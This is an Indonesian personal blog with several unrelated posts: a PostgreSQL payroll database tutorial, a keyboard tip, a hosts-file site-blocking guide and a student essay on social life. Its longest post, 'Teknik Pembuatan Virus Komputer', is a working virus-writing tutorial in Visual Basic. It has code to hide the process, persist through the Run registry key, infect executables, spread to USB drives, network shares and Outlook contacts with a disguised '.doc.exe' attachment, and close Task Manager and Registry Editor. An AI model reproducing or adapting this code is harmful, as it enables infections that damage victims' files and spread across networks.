Minggu, 16 November 2014

Membuat Database Program Penggajian

Sistem manajemen basis data (Bahasa Inggris: database management system, DBMS), atau kadang disingkat SMBD, adalah suatu sistem atau perangkat lunak yang dirancang untuk mengelola suatu basis data dan menjalankan operasi terhadap data yang diminta banyak pengguna. Contoh tipikal SMBD adalah akuntansi, sumber daya manusia, dan sistem pendukung pelanggan, SMBD telah berkembang menjadi bagian standar di bagian pendukung (back office) suatu perusahaan. Contoh SMBD adalah Oracle, SQL server 2000/2003, MS Access, MySQL dan sebagainya.

Pada matakuliah DBMS, aplikasi database yang digunakan adalah PostgreSql dan contoh praktikum adalah pembuatan database penggajian.

Fungsi dari database penggajian adalah :
1. Digunakan untuk mengelola data gaji karyawan suatu instansi
2. Karyawan mendapatkan gaji setiap bulan
3. Komponen yang memperngaruhi gaji: Golongan, masa kerja, tunjangan, potongan
4. Golongan terdiri dari (1,2,3 /editable*)
5. Masa kerja dihitung dari tanggal masuk sampai dengan sekarang.
6. Tunjangan terdiri dari
    a. Tunjangan istri/suami
    b. Tunjangan Anak
    c. Tunjangan Jabatan (editable*)
7. Potongan
    a.asuransi
    b.pph
    c.dll
Sebelum membuat database, pertama tama dilakukan perancangan desain database
Membuat Instalasi PostgreSql
  1. Instalasi Postgresql didapat dengan mendownload dari link http://www.enterprisedb.com/products-services-training/pgdownload#windows
  2. Lakukan instalasi, pada saat instalasi akan ditanyakan lokasi Postgresql akan diinstal, dan lokasi database akan diinstall, kemudian instalasi akan meminta password untuk superuser 'postgres' misalnya "rahasia" kemudian akan dikonfirmasi port yang akan digunakan,defaultnya adalah 5432
Membuat database penggajian
  1. Buka perintah cmd
Pada menu Windows ketik “cmd” lalu tekan tombol enter
2.       Pindah ke directory Postgresql

Ketik C:\Users\didi>cd "c:\Program Files\PostgreSQL\9.1\bin" -> lalu tekan Enter
3.       Akses ke database Postgresql
Akses ke database Postgresql dilakukan dengan mengetikkan  perintah psql -h localhost -U postgres lalu tekan tombol Enter, dilanjutkan dengan mengisikan password untuk superuser (user dengan nama “postgres”) setelah itu dilanjutkan dengan menekan tombol Enter.
Keterangan:
-h : menunjukan bahwa login dengan host/server dengan nama 'localhost'
-U : menunjukan bahwa login dengan user dengan nama 'postgres'

4.       Membuat database dengan nama dbgaji
Dilakukan dengan cara mengetikkan perintah postgres=# create database dbgaji; lalu tekan enter
5.       Menghapus database
Apabila terjadi kesalahan, database yang dibuat dapat dihapus dengan mengetikkan perintah
postgres=# drop database dbgaji lalu tekan Enter
6. Aktifasi database
Untuk menggunakan sebuah database, terlebih dahulu dilakukan pengaktifan dengan cara
postgres=# \c dbgaji;
Berdasar pada diagram diatas, maka pada database dbgaji, tabel yang harus dibuat adalah:
a. Tabel karyawan
b. Tabel jabatan
c. Tabel tunjangan jabatan
d. Tabel gaji
e. Tabel Tunjangan
f. Tabel golongan
g. Tabel tunjangan
h. Tabel gaji pokok

cara membuat tabel pada posgress adalah sebagai berikut

a Tabel Karyawan
ketikkan perintah sebagaiberikut dbgaji=# CREATE TABLE karyawan ( nip char(10) not null primary key,nama varchar(50),jeniskelamin char(1), tempatlahir varchar(20), tanggallahir date, statusmenikah char(1), jumlahanak smallint, tanggalmasuk date, statustunjangan varchar(10), kodegolongan char(10), kodejabatan char(10));
untuk melihat hasilnya, digunakan perintah \d "nama_table" 
b. Tabel Jabatan
dbgaji=# CREATE TABLE jabatan ( kodejabatan char(10) primary key, namajabatan char(10));
c. Tabel Tunjangan Jabatan
dbgaji=# CREATE TABLE tunjanganjabatan (kodetunjangan integer not null primary key,namatunjangan char(10), besar int, kodejabatan char(10));
d. Tabel Gaji
dbgaji=# CREATE TABLE tbgaji ( kodegaji char(10) not null primary key, tanggal date, nip char(10), gajipokok char(10), tunjanganjabatan char(10));
e. Tabel Tunjangan
Dbgaji=# CREATE TABLE tbtunjangan ( kodetunjangan integer not null primary key, namatunjangan char(10), besartunjangan integer, kodejabatan char(10));
f. Tabel golongan
dbgaji=# CREATE TABLE tbgolongan ( kodegolongan char(10) not null primary key, namagolongan char(10), nip char(10));
h. Tabel gaji pokok
dbgaji=# CREATE TABLE tbgajipokok ( kodegapok integer not null primary key, masakerja int, kodegolongan char(10), besar int);

                      SEKIAN DAN TERIMA KASIH SEMOGA BERMAFAAT.












 


 
 

Senin, 10 November 2014

Cara Mengatasi Tombol Huruf Keyboard Menjadi Angka

Pernahkah rekan-rekan mengalami tombol huruf pada keyboard laptop berubah menjadi angka. Misalnya Saat mengetik huruf “U” muncul angka “4”, ketik huruf “I” muncul angka “5”, ketik huruf “O” muncul angka “6”, ketik huruf “P” muncul tanda “*”, ketik huruf “L” muncul angka “3”, ketik huruf “M” muncul angka “0”ketik huruf “J” muncul angka “1”, ketik huruf “K” muncul angka “2”. Barangkali bagi rekan-rekan yang belum mengetahui kenapa tombol huruf keyboard laptop atau notebook tertukar menjadi angka berangggapan bahwah keyboard laptop atau netbook tersebut sudah rusak.

Penyebab huruf berubah menjadi angka khususnya terjadi pada laptop ini karena pengaruh setingan saja, sehingga bukan kerusakan secara hadware. Barangkali ada teman kita yang iseng atau kita sendiri tanpa sengaja menekan tombol FN --> F11 secara bersamaan.
Bagaimana cara mengatasi tombol huruf keyboard laptop sebagian berubah menjadi angka. Langkah-langkah mengatasinya sangat mudah sebagaimana yang telah kita sebutkan diatas penyebabnya yaitu dengan cara menekan Tombol FN --> F11 (Numlk) secara bersamaan.Dan sekarang keyboard laptop sobat sudah berfungsi sebagaimana mestinya. Moga membantu.

Jumat, 07 November 2014

Cara Memblokir alamat situs tertentu di windows tanpa coding


Selamat sore Buat teman yang sendang belajar Memblokir Alamat situs di Windows anda.
dengan cara- berikut:
Dan Sebelum Melakukan Kegiatab belajar Jangan Lupa Berdoa.
                                             ANDALKAN TUHAN DALAM SEGALA HAL TERIMA KASIH
Cara memblokir situs melalui file Hosts Windows kita. Jika anda tidak ingin menggunakan software untuk Block Situs/mem-blokir alamat web tertentu, anda bisa melakukan cara berikut, Block Situs pada Komputer Melalui Hosts Windows anda. Silakan disimak langkah berikut ini.

Memblokir situs pada komputer dengan merubah file Hosts Windows adalah cara manual yang mungkin perlu anda lakukan, karena dirasa lebih aman dan orang lain/anak-anak tidak mampu untuk menemukannya. Misalkan anda akan memblok facebook, youtube atau yang lainnya coba saja langkah-langkah berikut.

Langkah-langkahnya adalah:

Silakan anda masuk ke  C://windows/system32/drivers/etc dan cari file bernama hosts. Untuk cara membukanya bisa bermacam-macam. Selanjutnya klik kanan pada file tersebut lalu pilih “open with”, Lalu pilih > Notepad.

Berikut adalah cara lainnya :
Anda buka notepad, kemudian klik > file, pilih > open, pilih > (c:) , pilih > windows (silakan klik open untuk membukannya), lalu pilih > system 32 (klik open lagi), pilih > drivers (klik open lagi), lalu pilih > etc (Pastikan tipe file adalah All tipes), lalu anda klik open, kemudian pilih > hosts (klik open) , maka akan terbuka file hosts notepad anda.

Setelah file host terbuka, carilah tulisan: 127.0.0.1 localhost , pada bagian bawah.
Selanjutnya ketikkan alamat website yang ingin anda blokir dibawah 127.0.0.1 localhost. Contoh caranya seperti contoh berikut: 127.0.0.2 http://www.alamatsitus.com

Jika anda akan memasukkan beberapa alamat situs, maka cukup dimasukkan dibawahnya lagi (satu baris hanya satu alamat) dan jangan lupa ganti angka yang warna merah dengan angka berikutnya (2,3.4, dst…)

Setelah selesai, klik File > Save, lalu restart browser anda, selesai.





Rabu, 20 Agustus 2014

PEGAWAI TETAP MMM CABANG TANGERANG.




















                                             JAKARTA 20 AGUSTUS 2014
                             PEGAWAI TETAP MMM KANTOR CABANG TANGERANG
                                                                 TAHUN 2014 / 2015


Jumat, 23 Mei 2014

Pengaruh positif dan negative dalam pergaulan

Pengaruh positif dan negative dalam pergaulan  

UNIVERSITAS MERCU BUANA
NAMA : NOPEMBERIANUS LAHAGU
NIM     : 43513120176
FAKULTAS : ILMU KOMPUTER


A.    PENGERTIAN PERGAULAN SEHAT
Pergaulan merupakan jalinan hubungan sosial antara seseorang dengan orang lain yang berlangsung dalam jangka relatif lama sehingga terjadi saling mempengaruhi satu dengan lainnya. Pergaulan merupakan kelanjutan dari proses interaksi sosial yang terjalin antara individu dalam lingkungan sosialnya. Kuat lemahnya suatu interaksi sosial mempengaruhi erat tidaknya pergaulan yang terjalin. Seorang anak yang selalu bertemu dan berinteraksi dengan orang lain dalam jangka waktu relatif lama akan membentuk pergaulan yang lebih. Beda dengan orang yang hanya sesekali bertemu atau hanya melakukan interaksi sosial secara tidak langsung.
Dalam kehidupan sosial ada berbagai bentuk pergaulan, ada yang sehat ada pula yang dikategorikan pergaulan yang tidak sehat. Pergaulan sehat adalah pergaulan yang membawa pengaruh positif bagi perkembangan kepribadian seseorang. Sebaliknya pergaulan tidak sehat mengarah kepada pola perilaku yang merugikan bagi perkembangan dirinya sendiri maupun dampaknya bagi orang lain.
Misalnya, pergaulan yang diisi dengan kebut-kebutan di jalan raya, atau minum-minuman keras di tempat mereka berkumpul, merupakan bentuk pergaulan yang kurang sehat. Sebab pola pergaulan dengan kegiatan semacam itu bukan hanya membahayakan bagi dirinya sendiri melainkan juga bagi lingkungan sekitarnya. Banyak tindak kejahatan berawal dari kebiasaan menegak minuman keras sehingga pola perilakunya di bawah pengaruh alkohol. Jika pergaulan diisi dengan diskusi, balajar kelompok, kogiatan olah raga, pecinta alam atau kegiatan keagamaan, maka ini termasuk pergaulan yang sehat. Sebab bukan hanya dirinya sendiri yang memperoleh manfaat positif tetapi juga lingkungan secara tidak langsung akan terbawa dalam situasi yang baik/positif. Pencapaian prestasi di bidang seni, olahraga, maupuu IPTEK senantiasa diawali dari bentuk pergaulan yang positif yang mengasah kemampuan dan kecakapan berpikir.
B.     BENTUK-BENTUK PERGAULAN YANG SEHAT
Berikut ini adalah beberapa bentuk pergaulan yang sehat:
1.      Kelompok bermain teman sebaya
Dalam hal ini adalah permainan yang mengarah kepada pembentukan tubuh yang sehat yang berlangsung pada kanak-kanak. Bentuk permainan sebagai sarana pergaulan yang sehat.
2.      Kelompok belajar
Pembentukan kelompok belajar merupakan bentuk pergaulan yang sehat mengarah pada pemupukan aspek kecerdasan. Melalui kegiatan kelompok belajar inilah daya pikir anak lebih terasa bukan untuk dirinya sendiri, melainkan juga dalam bentuk penyimpangan terhadap orang lain.
3.      Kegiatan pengembangan diri
Dalam bentuk perkumpulan-perkumpulan yang mengarah kepada pengembangan bakat dan minat. Dengan menjadi anggota suatu perkumpulan pengembangan diri inilah anak disamping dapat membentuk kecakapan sesuai bakatnya, juga memperluas pergaulan dari berbagai latar belakang yang memiliki kesamaan minat.
4.      Kegiataan keagamaan
Sesuai agama yang dianutnya pembinaan mental spiritual yang berkaitan dengan keimanan dan ketaqwaan terhadap Tuhan YME secara intensif dapat dilakukan dengan aktif terjun dalam kegiatan keagamaan sesuai dengan agama yang dianutnya.
5.      Kegiatan karang taruna
Karang taruna merupakan organisasi kemasyarakatan yang mewadahi kegiatan pemuda/pemudi atau remaja yang ada di lingkungan pemukiman di bawah pemerintah desa. Melalui karang taruna inilah anak mengenal kemajemukan-kemajemukan msyarakat di lingkungannya. Melalui karang taruna inilah anak dipupuk untuk memiliki sifat social dalam bentuk kepedulian terhadap kemajuan daerah tempat tinggalnya.
6.      Kegiatan social kemasyarakatan
Dalam kehidupan masyarakat luas tehadap berbagai macam kegiatan yang bergerak di bidang social kemasyarakatan. Melaui kegiatan social kamasyarakatan tersebut anak dilatih untuk menerapkan nilai-nilai kemanusiaan dalam kehidupan sehari-hari.
7.      Kegiatan pecinta alam
Kegiatan pecinta alam merupakan media yang tepat bagi remaja yang senang berpetualang dan mencari tahu mengenai rahasia alam secara langsung.
C.     PENGARUH POSITIF PERGAULAN
Pergaulan merupakan ajang sosialisasi bagi individu dalam mengenal lingkungan sosialnya. Melalui pergaulan diperoleh manfaat sebagai berikut:
1.      Lebih mengenal nilai-nilai dan norma social yang berlaku sehingga mampu membedakan mana yang pantas dan mana yang tidak dalam melakukan sesuatu.
2.      Lebih mengenal kepribadian masing-masing orang sekaligus menyadari bahwa manusia memiliki keunikan yang masing-masing perlu dihargai
3.      Mampu menyesuaikan diri dalam berinteraksi dengan banyak orang sehingga mampu meningkatka rasa percaya diri
4.      Mampu membentuk kepribadian yang baik yang bisa diterima di berbagai lapisan masyarakat sehingga bisa tumbuh dan berkembang menjadi sosok individu yang pantas diteladani
D.    PENGARUH NEGATIF DALAM PERGAULAN
Pergaulan yang tidak tepat akan menjerumuskan seseorang dalam jurang kenistaan dan kehancuran. Memang tidaklah mudah memilih pergaulan yang tepat, sebab kadangkala pergaulan yang negatif justru lebih menyenangkan. Pergaulan semacam ini lebih mengasyikkan dan sulit menyadari bahwa apa yang dilakukan menyimpang.
Beberapa dampak negatif yang terbentuk akibat pergaulan yang salah, yaitu sebagai berikut:
1.      Hilangnya semangat belajar dan cenderung malas dan menyukai hal-hal yang melanggar norma social
2.      Suramnya masa depan akibat terjerumus dalam dunia kelam, misalnya: kecanduan narkoba, terlibat dalam tindak criminal dan sebagainya
3.      Dijauhi masyarakat sekitar karena perilaku tidak sesuai dengan nilai/norma social yang berlaku
4.      Tumbuh menjadi sosok individu dengan kepribadian yang menyimpang.

E.     UPAYA UNTUK MENANGGULANGI PANGARUH NEGATIF
Ibarat orang yang terlanjur sakit atau terserang penyakit, tidaklah mudah mengembalikan situasi seperti semula. Tindakan pengobatan atau terapi yang terus menerus diperlukan untuk mengembalikan kondisi pribadi yang terlanjur menyimpang akibat pengaruh pergaulan negatif.
Berikut adalah hal-hal yang dapat dilakukan untuk mengatasi pengaruh negatif yang terlanjur mencemari diri individu:
1.      Membakitkan kesadaran kepada yang bersangkutan bahwa apa yang telah ia lakukan adalah menyimpang. Kadangkala perilaku menyimpang tidak menyadari bahwa apa yang telah ia lakukan salah. Jika dari yang bersangkutan belum ada kesadaran bahwa apa yang dilakukan selama ini keliru adalah sia-sia. Misalnya, anak yang tidak menyadari bahwa merokok itu tidak baik bagi kesehatannya akan sulit untuk diarahkan agar ia menjauhi rokok
2.      Memutuskan rantai yang menghubungkan antara individu dengan lingkungan yang menyebabkan ia berperilaku menyimpang. Hal ini dapat dilakukan dengan memindahkan individu tersebut dari lingkungan pergaulannya dan membawa ke kancah pergaulan baru. Hal ini tidaklah mudah, sebab kadangkala yang bersangkutan tidak mampu menyesuaikan diri di tempat lingkungannya yang baru atau justru lingkungan baru yang tidak mampu menerimanya.
3.      Melakukan pengawasan melakat sebagai control secara terus-menerus agar anak terhindar dari perilaku yang menyimpang. Pengawasan harus dilakukan oleh orang yang disegani, sehingga anak tidak berani mengulangi perbuatannya yang salah.
4.      Melakukan kegiatan konseling atau pemberian nasihat secara persuasive, sehingga anak tidak merasa bahwa ia dibawah proses pembimbingan. Melibatkan anak dalam kegiatan keagamaan sesuai dengan keyakinan yang ia anut merupakan salah satu cara yag dapat dilakukan untuk membuka pikitan anak mengenai apa yang baik dan apa yang buruk.

Add caption

Rabu, 05 Maret 2014

Teknik Pembuatan Virus Komputer



Teknik Pembuatan Virus Komputer


Syarat sebuah virus computer :
  1. Menyembunyikan prosesnya dari pemakai
  2. Mengaktifkan dirinya setiap startup sistem
  3. Menyebarkan dirinya melalui media file executable
  4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
  5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
  6. Menyebarkan dirinya dengan filename spoofing.
  7. Mempercepat proses penyebarannya dengan pendekatan social engineering
  8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai


Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem


Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

dan menambah ke registry :

Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing

Menyebarkan dirinya melalui media file executable


Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
   If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
      'Ambil nomor file
      fNum = FreeFile
      Open fname For Binary Access Read As fNum 'Buka file target
      Seek fNum, LOF(fNum) - 5 + 1         'pindah file pointer ke posisi Signature Virus
      tSignature = Space$(5)
      Get fNum, , tSignature                        'baca tSignature
      Close fNum
      If tSignature <> virSignature Then     'jika file virus (tidak ada virSignature)
         On Error GoTo finally
            Open fname For Binary Access Read Write As fNum 'Buka file target
            OriginalCode = Space$(LOF(fNum))
            Get fNum, , OriginalCode            'baca Program Executable
            Put fNum, 1, virCode                   'tulis Program Virus diawal
            Put fNum, , OriginalCode            'tulis Program Executable
            Put fNum, , virSize                      'tulis Ukuran Virus
            Put fNum, , virSignature             'tulis Signature Virus
            Close fNum
finally:
      End If
   End If
End If
End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1                 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature                        'baca virSignature

If tSignature <> virSignature Then   'Jika file virus sendiri
   virSize = LOF(1)                            'ukuran virSize sama dengan ukuran file
   virCode = Space$(virSize)             'siapkan buffer virCode
   Seek #1, 1                                       'ke posisi bof
   Get #1, , virCode                            'baca virCode sebesar ukuran virSize
   Close #1
  
   Call VirInstall                                 'instalasi virus
  
   If Not SudahLoad Then
      Load ff                                         'aktifkan timer virus
   End If
  
'Jika file yang terinfeksi
Else
   Seek #1, LOF(1) - 9 + 1                 'pindah file pointer ke posisi virSize
   Get #1, , virSize                             'baca virSize (long = 4 byte)
   'Baca vircode
   virCode = Space$(virSize)             
   Seek #1, 1                                       'ke posisi BOF (Awal file)
   Get #1, , virCode                            'baca virCode sebesar ukuran virSize
  
   OriginalCode = Space$(LOF(1) - virSize)            'siapkan buffer
   Get #1, , OriginalCode                                           'baca originalCode
  
   fNum = 0
   Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
      fNum = fNum + 1
   Loop
  
   fname = exePath & App.EXEName & fNum & ".exe"

   On Error GoTo finally
      Open fname For Binary Access Write As #2
      Put #2, , OriginalCode                                      'tulis ke file sementara
      Close #2                                                            'tutup file sementara
finally:
 
   Close #1
  
   Call VirInstall
  
   If Not SudahLoad Then
      Load ff                                          'aktifkan timer virus
   End If

   Call ExecuteOriginal(fname)
   Kill fname                                        'hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus)                 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit                     'ambil status aktif
Do While HExit = STILL_ACTIVE                   'proses ditahan selama proses masih aktif
   DoEvents                                                          'lakukan event yang lain
   GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function

Mempercepat proses penyebarannya melalui media pertukaran data dan informasi


Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
If Not floppy_hwnd = 0 Then
   Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
    'Asumsi semua removable drive diatas huruf C adalah flash disk
    '1 - Removable drive
    '2 - Fixed drive (hard disk)
    '3 - Mapped network drive
    '4 - CD-ROM drive
    '5 - RAM disk
    If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
       Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
    End If
Next
BatalInfeksi:
End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
   For Each share In shares
       target = share
       Call InfeksiResource(target, "XLSDOCEXE")
   Next share
End If
End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
   For Each Domain In Domains
       If Not stackDomain.isFull Then
          stackDomain.Push (Domain)
       End If
   Next Domain
End If
End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
   Domain = stackDomain.Pop()
   If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
      For Each Computer In Computers
          If Not stackComputer.isFull Then
             stackComputer.Push (Computer)
          End If
      Next Computer
   End If
End If
End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
   Computer = stackComputer.Pop()
   If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
      For Each Drive In Drives
          If Not stackDrive.isFull Then
             stackDrive.Push (Drive)
          End If
      Next Drive
   End If
End If
End Sub

Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
   target = stackDrive.Pop()
   Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer

On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
   Set Mapi = Outlook.GetNamespace("MAPI")
     
   For i = 1 To Mapi.AddressLists.Count
       Set AddressBook = Mapi.AddressLists(i)
       For j = 1 To AddressBook.AddressEntries.Count
           MailAddress = AddressBook.AddressEntries(j)
       
           Set Mail = Outlook.CreateItem(0)
  
           Mail.Recipients.Add (MailAddress)
           Mail.Subject = "Subject Virus Anda"
           Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
           Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
           Mail.Send
       Next
   Next
 
finally:
   Set Outlook = Nothing
   Set Mapi = Nothing
End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system


Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.


Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.


Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya


Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
    Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
   CloseWindow (Enemy_hwnd)
End If
End Sub

Kesimpulan :


Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A


‘API  Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE
   dwScope As Long
   dwType As Long
   dwDisplayType As Long
   dwUsage As Long
   lpLocalName As Long
   lpRemoteName As Long
   lpComment As Long
   lpProvider As Long
End Type

Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
   (ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
   lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
   (ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
   (ByVal lpString1 As String, ByVal pString As Long) As Long
  
Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
   Dim hEnum As Long, nrLen As Long, nrCount As Long
   Dim nr(2048) As NETRESOURCE, retval As Boolean
   nrCount = -1
   nrLen = 65536
   RemoteName = StrConv(RemoteName, vbFromUnicode)
   nr(0).lpRemoteName = StrPtr(RemoteName)
   Provider = StrConv(Provider, vbFromUnicode)
   nr(0).lpProvider = StrPtr(Provider)
